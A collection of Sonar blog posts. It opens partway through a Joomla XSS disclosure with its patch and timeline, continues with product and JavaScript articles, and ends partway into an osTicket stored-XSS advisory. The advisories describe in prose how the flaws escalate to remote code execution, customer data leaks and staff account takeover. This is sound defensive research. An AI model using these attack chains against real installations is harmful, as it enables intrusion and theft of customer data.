One of the resulting XSS vulnerabilities can for example be leveraged by an attacker to craft a malicious link. When an administrator clicks on this link, the injected JavaScript payload can be used to customize a template and insert arbitrary PHP code. Thus, an attacker can gain remote code execution (RCE) by tricking an administrator into clicking on the malicious link.

`Patch`

Joomla addressed the issue by replacing the usage of the mbstring functions with PHP’s regular string functions:

// Is there a tag? If so it will certainly start with a '<'.
- $tagOpenStart = StringHelper::strpos($source, '<');
+ $tagOpenStart = strpos($source, '<');

while ($tagOpenStart !== false) {
    // Get some information about the tag we are processing
-    $preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);
+    $preTag .= substr($postTag, 0, $tagOpenStart);

The difference between these functions is that PHP’s regular string functions are not multibyte aware and operate on single bytes. Since multibyte awareness is not required for the applied sanitization, these functions should be preferred.

We also reported the inconsistent behavior of the mbstring functions to the PHP maintainers, since we consider it as unintended. The PHP maintainers provided a patch, which makes the behavior consistent by not skipping over continuation bytes when encountering a leading byte. Unfortunately, the issue was not classified as security-relevant, which means that the patch is not backported to older versions of PHP.

More background information on the behavior of the PHP mbstring functions and the patch can be found in the excellent explanation from Alex Dowad in the related commit message.

`Timeline`

Date	Action
2023-11-22	We report the vulnerability to the Joomla! Security Strike Team
2023-11-28	The Joomla! Security Strike Team confirms our findings.
2023-12-01	We report the inconsistent mbstring function behavior to the PHP maintainers.
2023-12-10	The PHP maintainers provide a patch, which is applied to PHP 8.3 and 8.4.
2024-02-20	Joomla releases version 5.0.3/4.4.3, which mitigates the issue regardless of the PHP version.
2024-02-20	Coordinated release of security announcement by Joomla and Sonar.
2024-02-23	Full technical details added.

`Summary`

In this article, we explained how SonarCloud led us to an interesting XSS finding in the popular CMS Joomla. During our analysis of the issue, we discovered an inconsistency in how PHP’s mbstring functions handle invalid multibyte sequences. Attackers could leverage this behavior to bypass the sanitization performed by Joomla’s core filter leading to multiple XSS vulnerabilities.

Finally, we would like to thank the Joomla! Security Strike Team for quickly responding to our notification, collaborating on a corresponding patch, and informing all users.

Also, thanks a lot to Alex Dowad for quickly addressing the issue from the PHP side!

`Related Blog Posts`



Union, intersection, difference, and more are coming to JavaScript Sets
Phil Nash — Thu, 15 Feb 2024 07:00:00 GMT
The JavaScript Set was introduced to the language in the ES2015 spec, but it has always seemed incomplete. That's about to change.

Sets are collections of values where each value may only appear once. In the ES2015 version of the Set, the available functionality revolved around creating, adding to, removing from, and checking the membership of a Set. If you wanted to operate on or compare more than one set, you had to write your own functions. Thankfully, TC39—the committee established to work on the ECMAScript spec—and the browsers have been working on this. We are now seeing functions like union, intersection and difference in JavaScript implementations.

Before we look at the new functionality, let's recap what JavaScript Sets can do now and then we'll jump into the new Set functions and the JavaScript engines that support them below.
What do ES2015 JavaScript Sets do?
Let's take a look at what the ES2015 version of the JavaScript Set can do. It's easiest to do so with some examples.

You can construct a Set without any arguments, which gives you an empty Set. Or, you can provide an iterable, like an array, to initialise the Set.

const languages = new Set(["JavaScript", "TypeScript", "HTML", "JavaScript"]);
Sets can only contain unique values, so the Set above has three members. You can check this with the size property.
languages.size;

// => 3
You can add more elements to the Set with the add function. Adding an element that is already in the Set doesn't do anything.
languages.add("JavaScript");

languages.add("CSS");

languages.size;

// => 4
You can remove elements from the Set with delete.
languages.delete("TypeScript");

languages.size;

// => 3
You can check if an element is a member of the Set with the has function. One of the benefits of a Set is that this check can be done in constant time (O(1)), whereas the time to check if an element is in an Array varies by the length of the Array (O(n)). Using Sets for tasks like this is a clean way to write intentional efficient code.
languages.has("JavaScript");

// => true

languages.has("TypeScript");

// => false
You can loop through a Set's elements using forEach or a for...of loop. Elements are sorted in the order they were added to the Set.
languages.forEach(element => console.log(element));

// "JavaScript"

// "HTML"

// "CSS"
You can also get an iterator from the Set using the keys and values functions (which are actually equivalent) as well as the entries function.

Finally, you can empty a Set with the clear function.
languages.clear();

languages.size;

// => 0
That's a good reminder of what you can do with the ES2015 spec version of a Set: 
Sets provide methods to deal with a collection of unique values
It is efficient to add elements to a Set and to test for their presence in the Set
Converting an Array or other iterable to a Set is an easy way to filter out duplicates

This implementation misses out on operations between Sets, though. You might want to create a Set that contains all the items from two other Sets (a union of two Sets), find out what two Sets have in common (intersection), or find out what isn't present in one Set that is in another (difference). Until recently, you would have had to provide your own functions.
What are the new Set functions?
The Set methods proposal adds the following methods to Set instances: union, intersection, difference, symmetricDifference, isSubsetOf, isSupersetOf, and isDisjointFrom.

Some of these methods are akin to some SQL joins, which we will use to illustrate the results alongside the code. Let's see some examples of what each function does.

You can try out any of the code examples below in Chrome 122+ or Safari 17+.
Set.prototype.union(other)
A union of sets is a set that contains all the elements present in either set.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const backEndLanguages = new Set(["Python", "Java", "JavaScript"]);

const allLanguages = frontEndLanguages.union(backEndLanguages);

// => Set {"JavaScript", "HTML", "CSS", "Python", "Java"}
In this example, all the languages from the first two sets are in the third set. As with other methods that add elements to the Set, duplicates are removed.

This is the equivalent of a SQL FULL OUTER JOIN between two tables.
Set.prototype.intersection(other)
An intersection is a set that contains all the elements that are present within both sets. 
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const backEndLanguages = new Set(["Python", "Java", "JavaScript"]);

const frontAndBackEnd = frontEndLanguages.intersection(backEndLanguages);

// => Set {"JavaScript"} 
"JavaScript" is the only element present in both the sets here.

An intersection is like an INNER JOIN.

Set.prototype.difference(other)
The difference between the set you are working with and another set is all the elements present in the first set and not present in the second set.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const backEndLanguages = new Set(["Python", "Java", "JavaScript"]);

const onlyFrontEnd = frontEndLanguages.difference(backEndLanguages);

// => Set {"HTML", "CSS"} 

const onlyBackEnd = backEndLanguages.difference(frontEndLanguages);

// => Set {"Python", "Java"}
In finding the difference between sets, it matters which set you call the function on and which is the argument. In the example above, removing the back-end languages from the front-end languages results in "JavaScript" being removed and returning "HTML" and "CSS" in the resultant set. Whereas removing the front-end languages from the back-end languages still results in "JavaScript" being removed, and returns "Python" and "Java".

A difference is like performing a LEFT JOIN.
Set.prototype.symmetricDifference(other)
The symmetric difference between two sets is a set that contains all the elements that are in one of the two sets, but not both.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const backEndLanguages = new Set(["Python", "Java", "JavaScript"]);

const onlyFrontEnd = frontEndLanguages.symmetricDifference(backEndLanguages);

// => Set {"HTML", "CSS", "Python", "Java"} 

const onlyBackEnd = backEndLanguages.symmetricDifference(frontEndLanguages);

// => Set {"Python", "Java", "HTML", "CSS"}
In this case, the elements in the resultant sets are the same, but note that the order is different. Set order is determined by the order the elements are added to the set and the set on which the function is performed will have its elements added first.

A symmetric difference is like a FULL OUTER JOIN excluding any elements that are in both tables.
Set.prototype.isSubsetOf(other)
A set is a subset of another set if all the elements in the first set appear in the second set.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const declarativeLanguages = new Set(["HTML", "CSS"]);

declarativeLanguages.isSubsetOf(frontEndLanguages);

// => true

frontEndLanguages.isSubsetOf(declarativeLanguages);

// => false
A set is also a subset of itself.
frontEndLanguages.isSubsetOf(frontEndLanguages);

// => true
Set.prototype.isSupersetOf(other)
A set is a superset of another set if all the elements in the second set appear in the first set. It is the opposite relationship of being a subset.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const declarativeLanguages = new Set(["HTML", "CSS"]);

declarativeLanguages.isSupersetOf(frontEndLanguages);

// => false

frontEndLanguages.isSupersetOf(declarativeLanguages);

// => true
A set is also a superset of itself.
frontEndLanguages.isSupersetOf(frontEndLanguages);

// => true
Set.prototype.isDisjointFrom(other)
Finally, a set is disjoint from another set if they have no elements in common.
const frontEndLanguages = new Set(["JavaScript", "HTML", "CSS"]);

const interpretedLanguages = new Set(["JavaScript", "Ruby", "Python"]);

const compiledLanguages = new Set(["Java", "C++", "TypeScript"]);

interpretedLanguages.isDisjointFrom(compiledLanguages);

// => true

frontEndLanguages.isDisjointFrom(interpretedLanguages);

// => false
The interpreted languages and compiled languages in these sets do not overlap, so the sets are disjoint. The front-end languages and the interpreted languages do overlap with the element "JavaScript", so they are not disjoint.
Support
As of writing this, the proposal stands at stage 3 in TC39's process and Safari 17 (released in September 2023) and Chrome 122 (February 2024) have shipped implementations of these methods. Edge follows Chrome closely and Firefox Nightly has support behind a flag, I would expect both of these browsers to ship support soon too.

Bun also uses Safari's JavaScriptCore engine and thus already supports these new functions. Support in Chrome means that it has been added to the V8 JavaScript engine and will be adopted by Node.js soon.

Hopefully, this means the proposal will graduate to stage 4 of the process, perhaps even in time to join the ES2024 spec before it is finalised.
Polyfills
While you need older JavaScript engine support, there are polyfills you can use to upgrade to spec-compliant implementations of these functions. They are available in core-js or as individual packages per function in the es-shims project (for example, the set.prototype.union package can be used for union functionality).

If you've written your own implementation of any of these functions, I would recommend first upgrading to the polyfills, before phasing them out as the support becomes more widespread.
Sets no longer feel incomplete
The JavaScript Set has long been incomplete but these 7 new functions round out the implementation nicely. Building functionality like this into the language means we have to rely less on dependencies or our own implementations and can focus on the problems we are trying to solve.

This is just one of a full pipeline of stage 3 proposals before TC39 right now. Check out the list to see what else might be coming to JavaScript next. I've got my eye on Temporal and Decorators, both of which could change the way we write major parts of our JavaScript.




Write cleaner React code with SonarQube 10.4
Phil Nash — Tue, 13 Feb 2024 07:00:00 GMT
SonarQube 10.4 was recently released and, between 10.3 and 10.4, 48 new rules and one updated rule were released to help you to write clean code in your React applications.

Sonar was already serving React projects with a number of rules that Gabriel Vivas, product manager for JavaScript, described in the three-part Lesser-spotted React Mistakes blog series: Hooked on a Feeling, Zombie Methods, and What Are We Even Rendering?

This latest update to SonarQube focuses on three areas: avoiding deprecated methods, avoiding bad practices, and writing accessible applications. In this post, I will give an overview of what React developers can expect from SonarQube with this update and introduce a few of my favourite new rules.

If you want to try out these rules on your own codebase, install SonarLint in your editor (which is always free and uses the same analyser as SonarQube) and start using it while working on your React applications.
Deprecated methods
As progress with React marches on, the React team deprecate some old patterns and functions. Deprecated functions are replaced with better ways to achieve the same functionality and will eventually be removed, so you should gradually replace old uses and avoid writing any new code with them. Keeping up with React standards will ensure your code is consistent and easier to update to the latest React version.

For example, in class components, you can still use findDOMNode to select the real DOM node for the instance. This has been deprecated in React's StrictMode since 2018, yet there are 133,000 files that reference findDOMNode publicly on GitHub (some of those are implementations of the function, of course). As the official React documents say, Instead of using findDOMNode, you should use a ref. 

The new rules that SonarQube will be enforcing to help you avoid deprecated methods are:
Deprecated APIs should not be used (this existing rule was extended for React)
React's findDOMNode should not be used
React's isMounted should not be used
String references should not be used
React legacy lifecycle methods should not be used
Bad practices
In a fast-moving project, it's easy for inconsistencies or just plain mistakes to slip into your codebase. If you're lucky, you'll realise something's broken when you reload your application in the browser or run your tests. More typically, you have to debug when a bug is discovered in production. Having rules to check you are writing intentional code and avoiding these bad practices will save you time as you can fix them as soon as you discover them.

One thing I often find myself doing is using the wrong property names on DOM elements. I am always writing class instead of className, and I only discover it when my class name is not applied to the element I'm working with. The rule that JSX elements should not use unknown properties and attributes catches this, and SonarLint lets me know immediately that I've picked the wrong property name.

The full list of 16 new JavaScript rules to help us avoid these bad practices is:
In React this.state should not be mutated directly
JSX elements should not use unknown properties and attributes 
React children should not be passed as prop
Redundant React fragments should be removed 
The return value of ReactDOM.render should not be used
The return value of useState should be destructured and named symmetrically
setState should use a callback when referencing the previous state
this should not be used in functional components
children and dangerouslySetInnerHTML should not be used together
shouldComponentUpdate should not be defined when extending React.PureComponent
JSX special characters should be escaped
Unused React typed props should be removed
User-defined JSX components should use Pascal case
Spacing between inline elements should be explicit
React components should validate prop types
All defaultProps should have non-required PropTypes

And there's one TypeScript-only rule that helps ensure that you can't mutate props in a child component, avoiding unpredictable behaviour.

React props should be read-only
Accessibility
Ensuring that your application is accessible is enormously important. Building an application that is accessible means that it allows everyone to fully use it, regardless of their abilities. In fact, accessible applications often benefit people without disabilities, too. For example, making sure apps are keyboard accessible helps those who can't use a mouse as well as those who just broke theirs. It is our responsibility to write code that will result in accessible applications.

Getting accessibility right can be difficult when building highly interactive applications, so any automation to help guide you is invaluable. This can be something like reminding you that elements that have mouse events should also respond to keyboard events or that you should implement buttons with the <button> element and not a <div>.

The complete list of new and updated rules to help you achieve accessible applications is below:

Mouse events should have corresponding keyboard events
ARIA properties in DOM elements should have valid values
DOM elements with ARIA roles should have the required properties
DOM elements with ARIA role should only have supported properties
Prefer tag over ARIA role
DOM elements with ARIA roles should have a valid non-abstract role
No redundant ARIA role
DOM elements with the aria-activedescendant property should be accessible via the tab key
No ARIA role or property for unsupported DOM elements
Focusable elements should not have aria-hidden attribute
Anchors should contain accessible content
Image, area, button with image, and object elements should have an alternative text
DOM elements should use the autocomplete attribute correctly
tabIndex values should be 0 or -1
Non-interactive DOM elements should not have interactive ARIA roles
Interactive DOM elements should not have non-interactive ARIA roles
Anchor tags should not be used as buttons
Non-interactive DOM elements should not have the tabIndex property
DOM elements should not use the accesskey property
Non-interactive elements shouldn't have event handlers
Non-interactive DOM elements should not have an interactive handler
HTML elements should have a valid language attribute
Header elements should have accessible content
Images should have a non-redundant alternate description
Elements with an interactive role should support focus
Label elements should have a text label and an associated control
iFrames must have a title
Media elements should have captions

It is impossible to catch all accessibility issues at the code level, though the above rules certainly help. You can also run tools like axe-core and Pa11y against your rendered application to help detect issues at runtime, as well as implement manual testing.
Clean Code in React
With this collection of new rules, SonarQube, SonarCloud and SonarLint are all set up to help you write consistent, intentional, adaptable and responsible code in your React applications. Check out all the other updates in the latest version of SonarQube 10.4 here.

If you're not already using SonarQube to scan your React projects, you can get started with the community edition or install SonarLint to see recommendations in your editor.




New Web API V2
Aurélien Poscia — Thu, 08 Feb 2024 19:00:00 GMT
Why a new API?
SonarQube can be accessed through its graphical user interface or Web API. The Web API facilitates task automation and can be used to simplify integration of SonarQube with your ecosystem.

SonarQube’s Web API has served our users well for over a decade. Nevertheless, as time passed, it started to show some limitations and consistency issues.

Most Significant Pain Points of the Web API V1
Naming Identifiers of different endpoints, objects, parameters, and response body elements are partially inconsistent. We sometimes use different names for the same data in other API locations.
Source of truth Sometimes data is duplicated on several endpoints. There is no authoritative truth.
Optimized for GUI The API endpoints were often designed and optimized for the needs of the graphical user interface. Unfortunately, they often do not match programmatic access requirements.
HTTP codes HTTP response and error codes are not used consistently throughout the API.
HTTP verbs Endpoints only use GET and POST.

All those factors negatively impact the discoverability of our API. Additionally, as the API follows an RPC style and no specific HTTP guidelines, it is difficult for third-party tools and users to interact with it.

Internally, the current API relies on an in-house framework. This framework has technical limitations, such as missing support for path parameters. It is costly to maintain, and endpoint declarations are excessively verbose. Last but not least, as the implementation is custom, it is less battle-tested. Consequently, the Sonar team wants to migrate away from the internal framework in favor of a widely used technology.

For all those users and technical-driven considerations, we decided to gradually retire the current API, in favor of a brand new API: The Web API v2.

The new Web API
With SonarQube 10.4, the first endpoints of the new Web API v2 were made public.

The API v2 will comply with the extensively adopted REST software architectural style to ease its discoverability. We are targeting REST maturity level 2 of the Richardson REST maturity level. Targeting level 2 allows us to rapidly deliver endpoints while providing the most descriptive contract allowed by REST and the HTTP protocol. As this wouldn't necessitate a backward-incompatible change at the contract level, we keep the possibility open to embrace HATEOAS (level 3) if there is traction. Supporting HATEOAS would improve the programmatic discovery of the API.

The API v2 comes with its dedicated documentation. On top of that, the contract is described following the OpenAPI specification. OpenAPI is a broadly adopted standard to document REST API contracts. It will help users auto-generate clients for different programming languages. Tools like Swagger can also consume the OpenAPI schema to auto-generate documentation and a graphical user interface to try out the API.

Following the REST guidelines, each endpoint of the API v2 will serve a specific resource and expose relevant HTTP verbs (GET/POST/PATCH and DELETE). The media type for requests and responses will be JSON.

With common REST APIs, it is often a puzzle for the users to understand whether they should use PUT or PATCH to modify a resource. Therefore, they need to read each endpoint's documentation to find the answer. We decided to support only PATCH for resource modifications to facilitate the API discovery. 

PATCH allows partial and complete resource modifications, so it is more flexible than PUT. On the other hand, one of the main advantages of PUT is its requirement for idempotency. We decided to keep the best of both verbs and use PATCH with a constraint on idempotency  - unless specified otherwise. The requirement for idempotency is an important reason why we use the JSON Merge Patch format (as defined in RFC-7396) to describe the request bodies sent to the PATCH endpoints.

Under the hood, the API v2 leverages the Spring WEB MVC framework. Although it may not be considered the trendiest framework, Spring WEB MVC is extensively used in the industry, offering a robust foundation built over years of development. Additionally, its wide usage ensures prompt resolution of any framework vulnerabilities that may arise. This enables us to concentrate our efforts on the business aspects of the application.

Migration timeline and deprecation
We want our users to benefit from the migrated endpoints as early as possible. For this reason, we plan to introduce API v2 endpoints gradually with each SonarQube release, opting for an incremental delivery approach rather than holding off until the entire migration to API v2 is complete. During this transition period, whenever we provide a new endpoint in the API v2, we will deprecate its API v1 equivalent. The deprecated endpoints will follow the general SonarQube deprecation policy. In other words, if an endpoint is deprecated in 10.X, you can continue to use it until the 10.Y LTS and it will be dropped in the 11.0 version.

In SonarQube 10.4, we also introduced Deprecation Logs to our product. These logs track all calls to deprecated endpoints, providing administrators with awareness to identify and migrate calls to the API v2 easily.

In the latest SonarQube release, we deprecated 15 endpoints of the API v1 in favor of API v2 endpoints. We are currently targeting SonarQube version 11.X LTS for the complete set of endpoints to be available in Web API v2. Please be mindful that this timeline is subject to change.

One API to rule them All…
Another frequent need of our API consumers is interoperability between the Web APIs of SonarQube and SonarCloud. We are addressing this with the API v2, and we will ensure that both products comply with the same API contracts for their API v2 endpoints.




Building the foundation for a strong AI future
Harry Wang — Thu, 08 Feb 2024 14:00:00 GMT
AI is changing the world around us at the speed of light  – the gulf between what was possible at the beginning of 2023 and at the end of the year demonstrates how quickly a technology can progress. As with any new technology, the new opportunities come with risks that have to be acknowledged and actively managed.  A robust framework for the responsible development and use of AI will ultimately lead to faster innovation and broader, safer adoption in our society.  

This morning, the National Institute for Standards and Technology (NIST) at the U.S. Department of Commerce officially established the U.S. Artificial Intelligence Safety Institute Consortium (AISIC), which aims to support the creation of safe and trustworthy artificial intelligence (AI) systems. Sonar is honored to participate in this effort and excited to join other leaders at the forefront of AI development. 

AISIC will bring together the largest collection of AI developers, users, researchers, and affected groups in the world. I believe that this step – made in coordination with the world’s leading technology companies and AI innovators – is a strong move toward establishing a sustainable foundation for the development of AI technologies. 

As the world’s leading Clean Code company, we believe that ensuring the quality and security of software code must be a critical part of any comprehensive framework established to safeguard the responsible development and use of AI. The way we write code has already changed, with the majority of developers experimenting or using AI coding assistants. As many developers have experienced, and an increasing volume of academic research has confirmed, code generated by AI often includes bugs and errors, and readability, maintainability, and security issues.  

With AI, teams build and iterate quicker, and solve problems faster – they can now produce code, content, and collateral at a pace and cost that would have been completely unfathomable just a few years ago. For AI to reach its full potential and positively impact the lives of billions of people, we as a tech community must fulfill our societal responsibility to put in place a strong framework for how we build products and how we deliver services - one that helps identify and manage the risks involved, while creating space for innovation and experimentation. 

With more than 7 million developers using Sonar solutions (SonarLint, SonarQube, and SonarCloud), we [at Sonar] have the expertise to help address the unique challenges and risks associated with AI code generation in the software development lifecycle. This knowledge is particularly relevant in the context of AISIC's goal of developing a scalable and proven model for the safe development and use of AI. We look forward to collaborating with members of AISIC and other thought leaders to advance the development of responsible AI.

Additional information about the Consortium can be found here. 


5 Risks of Outsourcing Software Development and How to Avoid Them
Liz Ryan — Wed, 07 Feb 2024 14:00:00 GMT
Outsourcing software development has witnessed a surge in popularity, offering organizations a strategic advantage by tapping into global talent pools. According to Precedence Research, the global IT outsourcing market is expected to grow to $1.149 billion by 2032. Outsourcing provides various benefits, including lower recruiting and onboarding costs, increased delivery speed, and filled talent gaps. It’s no wonder why the strategy is so popular.

However, navigating the outsourcing landscape isn’t always easy and requires a keen awareness of the potential risks. In this blog, we'll discuss five critical risks of this widely adopted strategy and provide tactics to reduce risk in delivered software.
Risk 1: Quality Assurance Concerns

Ensuring the quality of software is a constant concern, especially across different work environments, methodologies, and coding styles. Developers make mistakes, whether they’re in-house or externally sourced. It is estimated that software developers make 100 to 150 errors for every thousand lines of code. And when working with an outsourced team, controlling the quality of the code produced becomes even more difficult because they’re writing the code outside of the four theoretical walls of your organization. If the code is poor quality, it can lead to costly issues in production, increased technical debt, missed deadlines, and poorly performing software, among other impacts.

Organizations can avoid quality assurance concerns by:
Establishing a robust quality assurance framework that defines clear standards for writing code 
Adding static analysis to proactively and regularly scan the codebase for issues
Reinforcing code quality standards by using a mechanism in the SDLC (e.g. quality gates) so that only code that meets the standards is released
Leveraging testing processes, including unit tests, integration tests, and user acceptance testing
Conducting regular code reviews often to identify and address issues early in the development cycle
Investing in an automated tool that provides visibility into development activities and helps facilitate communication for improving code quality efforts

A strong foundation built on clear standards presented through accessible tools and processes establishes expectations for outsourced teams and encourages a shared commitment to delivering a high-quality product. 
Risk 2: Data Security and Confidentiality

Data security and confidentiality are top priorities; if left unchecked, they can have costly consequences. In fact, a report by IBM states that the average cost of a data breach is estimated to be $4.24 million. So, entrusting an outsourced team with your code and sensitive information can be scary because it opens a door to potential vulnerabilities. 

The nature of sharing proprietary code and confidential data with outsourced teams introduces challenges centered around protecting critical assets. Intellectual property, trade secrets, and any confidential practices that provide a competitive edge are at the forefront of these concerns. Additionally, mishandling or unauthorized access to user information can lead to legal ramifications and reputational damage. Potential vulnerabilities may arise from various sources, such as inadequate security protocols within the outsourced team, unintentional data leaks, or even malicious activities. 

To enhance data security and confidentiality with outsourced teams:
Give developers a SAST tool that integrates with their IDEs and your DevOps platform to proactively detect and remediate bugs and vulnerabilities
Leverage advanced SAST capabilities for uncovering hidden vulnerabilities (e.g. secrets), particularly in third-party open-source libraries
Implement encryption protocols for data in transit and at rest
Regularly conduct security audits and tap into reporting that provides insights into code compliance with industry standards (e.g. OWASP, CWE, HIPAA, and PCI, etc.)
Reinforce coding standards and distribute regular communication on the impact of issue remediation and writing high-quality code on the security of your software

Ensuring that outsourced teams have the tools and processes to protect sensitive information is crucial to the relationship's success. An emphasis on security can benefit both in-house and outsourced teams as they work together to deliver more reliable, high-performing software.
Risk 3: Communication Challenges

Clear communication is paramount in software development, and outsourcing introduces unique challenges. The geographical and cultural distance can lead to a lack of shared context and understanding. Differences in languages and work practices can cause misinterpretations of requirements, expectations, or even project milestones. Plus, teams located in varying time zones can amplify misunderstandings. This asynchronous nature of work makes real-time collaboration difficult and can slow down communication, hinder issue resolution, and impact overall project efficiency.

To overcome these challenges:
Proactively communicate code quality standards across teams and use tools to reinforce them in the development workflow
Schedule regular meetings to foster a sense of connection and alignment
Clearly define roles, responsibilities, and expectations for project scope 
Leverage reports to get a periodic, high-level overview of the code quality and security of your projects or applications to enable proactive outreach when needed

A 2023 Grammarly and The Harris Poll report reveals that 72% of business leaders believe effective communication has significantly increased their team's productivity. Open and transparent communication channels between the in-house and outsourced teams further contribute to a seamless quality assurance workflow. It's not just about finding and fixing bugs but fostering a culture of quality throughout the entire development lifecycle.
Risk 4: Lack of Control and Oversight

Managing a project without the day-to-day oversight inherent to in-house employees is a uniquely difficult challenge when using outsourced teams. The absence of immediate control introduces uncertainty, especially in critical areas such as meeting deadlines, ensuring quality, and adhering to project requirements. Without the ability to oversee every aspect in real time, there's a risk of misalignment between expectations and actual progress. Deadlines are missed, quality assurance feels distant, and there's always the concern of veering off the agreed-upon path. 

Maintain control and oversight by:
Creating and reinforcing clear quality and security standards for writing code
Establishing clear project milestones and deliverables
Utilizing reports that provide visibility into development progress
Building a collaborative environment that encourages open communication and feedback

A case study by McKinsey highlighted that organizations with effective project management practices reported a 35% higher success rate in meeting project goals. Finding the balance between establishing a code quality framework for success and providing guidance without micromanaging outsourced teams helps ensure projects meet expectations without delays.
Risk 5: Hidden Costs and Budget Overruns

Unexpected costs can jeopardize project budgets and timelines. According to a report by Deloitte, 57% of organizations have experienced cost overruns in their outsourcing projects. The challenge lies in the potential for unforeseen costs that can exceed the budget. These hidden costs can manifest in various forms – from unexpected software license fees to additional development hours required for unanticipated issues and complexities. The risk of budget overruns becomes an ever-present burden that can jeopardize the financial stability of your project.

To avoid hidden costs:
Create a detailed budget that accounts for potential contingencies
Regularly monitor development activities to stay up-to-date on project progress with a SAST tool and reports that are integrated into the development process
Foster transparency in discussions to align both parties on budget expectations

Addressing the risk of hidden costs and budget overruns in outsourced development projects is crucial for mitigating unforeseen expenses and fostering trust and collaboration with the outsourcing team. Overall, tackling this risk promotes financial stability, enhances collaboration, and reinforces the foundation for successful outsourced development endeavors within the defined budgetary constraints. 
Achieve success while avoiding the risks

Outsourcing software development offers unparalleled advantages, but success hinges on proactive risk management. By addressing communication challenges, ensuring quality assurance, prioritizing data security, maintaining control and oversight, and transparently managing budgets, organizations can forge successful and collaborative partnerships that help sustain the performance of their software.

Click here to learn more about how to reduce risk when outsourcing software development. 


SonarQube 10.4 Release Announcement
Robert Curlee — Tue, 06 Feb 2024 15:00:00 GMT
The SonarQube 10.4 release includes some exciting changes that show the impact of Clean Code and the benefit of the Clean as You Code methodology. Scan times are faster. Sonar is introducing the first part of easy onboarding for GitLab. We added a new deprecated web API log to improve the upgrade experience. We’re making it easier to link SonarQube with SonarLint, our free IDE plugin, so you can benefit from the two working together. Many more changes include new support for Helm Charts and language updates.

Highlights of the SonarQube 10.4 release… 
SonarQube Shows You How Clean as You Code is Working For You
To eliminate the guesswork of what issues you fixed in a pull request, the pull request decoration in your CI platform and the pull request summary in SonarQube show the issues that will be fixed upon merging. You’ll be able to see which issues you resolved before the merge, so you know immediately that you’ve fixed the problem. Similar to the Clean Code Taxonomy changes we’ve made to the pull request, the branch summary now contains a single issues category. Additionally, the overall code tab has info on your code's software quality and a count of high, medium, and low severity issues for each category to help explain the cause of the rating value in each category. We've also updated the handling of issues you don't plan to address immediately. To dismiss an issue, you now mark it as “accepted” and a count of accepted issues in new code is displayed in the pull request summary and pull request decoration to provide formation on the technical debt accumulating in your code from accepting Issues. Lastly, you can now use Clean Code Taxonomy values to set the Clean Code attribute for a new rule created from a template.
Faster Scan Times, Introduction of Easy Onbarding of GitLab, and Smoother Upgrades
Scan times are even faster now because the scanner only downloads the analyzers required for performing the scan instead of everything. In SonarQube 10.3, we completed easy onboarding of GitHub. In 10.4, we started the same work for GitLab by adding support for provisioning and synchronizing users and groups from GitLab into SonarQube. This automates setup and maintenance when using GitLab to authenticate users in SonarQube. Additionally, we’re making upgrades smoother by giving you quick feedback when you use deprecated web APIs and web API parameters in a new deprecated web API log.
Updates to SonarLint Connected Mode, Languages, and New Helm Charts Support
Have you linked your SonarQube to SonarLint using connected mode? If not, you’re missing out on some fantastic capabilities. One of the most exciting is that when viewing an issue in SonarQube, you can jump directly to the code in question in your IDE to fix it immediately. In this release, to simplify setup, when you click the button to view the issue in SonarLint, SonarQube will walk you through linking them together. Additionally, in 10.4, thanks to connected mode, SonarQube Enterprise Edition will download your custom secrets rules to SonarLint, and any custom secrets will be highlighted for you as you code, preventing these secrets from being inadvertently pushed to your repository. SonarQube now supports scanning Helm Charts for Helm-based Kubernetes deployments. We’ve added many more language updates, including more MISRA C++ 2023 rules, finding issues in C++ macros, accessibility rules for React.js, more SpringBoot rules, Javax and Jakarta now have the same rule coverage, more Blazor rules in .NET, and for Python we now support Graphene, the FastAPI framework, and the top 3 Python SAST Benchmarks: DVGA, DSVW, and skf-labs-python.

For more details, see the 10.4 release announcement and our product 10.4 release notes.
Are you still on an older SonarQube version? 
If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTS before upgrading to 10.4. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTS upgrade webinar highlighting a step-by-step approach and common pitfalls encountered during the upgrade. 




Pitfalls of Desanitization: Leaking Customer Data from osTicket
Oskar Zeino-Mahmalat — Tue, 06 Feb 2024 14:00:00 GMT
As part of our continuous effort to improve our Clean Code technology and the security of the open-source ecosystem, our R&D team is always on the lookout for new 0-day security vulnerabilities in prominent software.

During our research, we repeatedly come across a dangerous coding pattern we call Desanitization: An issue where potentially dangerous user input is sanitized, and then changed afterward in a way that negates the sanitization, making the input dangerous again. The pattern led to numerous impactful XSS vulnerabilities we uncovered, e.g. a WordPress RCE bug chain.

We found the issue again in osTicket, where it led to a Cross-Site Scripting (XSS) vulnerability. osTicket is an open-source helpdesk software that companies can use to provide solutions to customers seeking help. By default, anyone can create a ticket about a problem without needing an account. Employees with staff member accounts can then view and answer tickets. osTicket can be an interesting target for attackers, as customers or staff members might write about sensitive data like credentials or personal identifiable information.

In this blog post, we first explain the theory of the common Desanitization pattern. We then showcase what the pattern looks like in practice using the XSS vulnerability we found in osTicket which could be used to leak customer data.
Impact
osTicket v1.18 and osTicket before v1.17.4 contain a Stored Cross-Site Scripting (XSS) vulnerability (CVE-2023-46967).

An unauthenticated attacker can create a malicious ticket with an XSS payload. When an authenticated staff member of the osTicket instance views the ticket, the payload executes. The attacker can use this to leak tickets of other customers potentially containing sensitive data. Additionally, the attacker can fully take over the staff member's account with a password reset email sent to the attacker's email address, allowing them to impersonate the victim. A support system compromise can have serious consequences for customers: Think of the Okta hack last year that rippled out to Cloudflare and 1Password because of leaked access tokens.

The vulnerability is fixed in osTicket versions v1.18.1 and v1.17.5.
The Desanitization pattern
Before looking at the XSS vulnerability in osTicket and how to exploit it to leak customers' tickets, we want to explain the common and dangerous coding pattern that led to the XSS vulnerability: Desanitization.

XSS vulnerabilities are injection vulnerabilities: user input has to end up in a dangerous sink that renders HTML without sufficient encoding or sanitization. An abstract way of protecting against injection vulnerabilities looks like this: The userInput is processed and modified in some way, then sanitized, and finally used.
data = modify(userInput);
data = sanitize(data);
use(data);
A concrete example of this pattern is protecting against client-side XSS using DOMPurify:
userInput = '';

// (1) modify
data = data.replace(/class=".*?"/, 'class="custom-class" ');
// 

// (2) sanitize
data = DOMPurify.sanitize(userInput);
// 

// (3) use
